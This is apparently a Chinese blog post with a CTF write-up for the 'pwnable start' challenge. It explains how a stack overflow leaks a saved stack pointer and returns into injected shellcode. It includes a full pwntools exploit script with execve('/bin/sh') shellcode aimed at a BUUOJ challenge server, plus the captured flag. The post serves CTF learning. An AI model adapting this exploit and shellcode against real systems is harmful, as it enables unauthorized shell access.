pwnable_start

黎 浩然/ 13 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

程序运行运行完start函数就会结束,一个精心构造的程序。可以看到程序先write(系统调用为4)后read(系统调用号为3)。在read中,有大约40个字节的溢出(包括返回地址处)。

这到题的思路是泄漏栈上的地址,然后将shellcode送入栈中最后返回到栈中。

start中的push offset _exit刚好对应最后的retn。也就是说,程序执行完start函数后就会执行exit函数正常结束。不过值得注意的是,前面的push esp将栈指针保存到了栈上,我们可以根据此来泄漏栈地址。栈的结构如下:

上图是我们第一次在start函数里面在push所有的字符之后的栈结构,我们假设stackbase在程序的某一次运行是不变的,以此为基准。那么saved esp的值就是 stackbase + 28,没错saved esp就是pop saved esp之后的esp的值。

第一次离开start的时候,如果我们将offset _exit覆盖为0x08048087,那么就可以打印出saved esp中的值。刚跳回到0x08048087的此时此刻 esp + 4 = saved esp

依照红色的表达式。我们在第二次溢出的时候修改返回地址为esp + 0x18 == saved esp + 0x14,并且在覆盖返回地址之后马上写入shellcode即可返回到shellcode。

from pwn import *

p = remote('node3.buuoj.cn', 29909)
#p = process('./start')
elf = ELF('./start')

shellcode='''
xor  eax,eax
push eax
push 0x0068732f
push 0x6e69622f
mov  ebx,esp
xor  ecx,ecx
xor  edx,edx
mov  al,0xb
int  0x80
'''

# leak stack
payload = b'b' * 0x14 + p32(0x08048087)
p.send(payload)
p.recvuntil(':')
esp = u32(p.recv(4))
print("esp: " + hex(esp))

# Get shell
payload = b'b' * 0x14 + p32(esp+0x14) + asm(shellcode)
p.send(payload)

p.interactive()
# flag{aba0c481-c9a9-4886-a769-e941a8a568e1}
Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*